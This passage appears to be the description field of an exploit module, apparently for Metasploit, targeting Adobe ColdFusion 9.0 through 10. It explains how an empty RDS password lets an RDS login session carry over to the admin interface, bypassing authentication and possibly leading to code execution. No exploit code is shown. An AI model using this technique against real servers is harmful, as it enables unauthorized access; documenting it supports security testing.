      'Description'     => %q{
      Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can
      by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that
      can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing
      authentication on the admin web interface which then could lead to arbitrary code execution.
      Tested on Windows and Linux with ColdFusion 9.
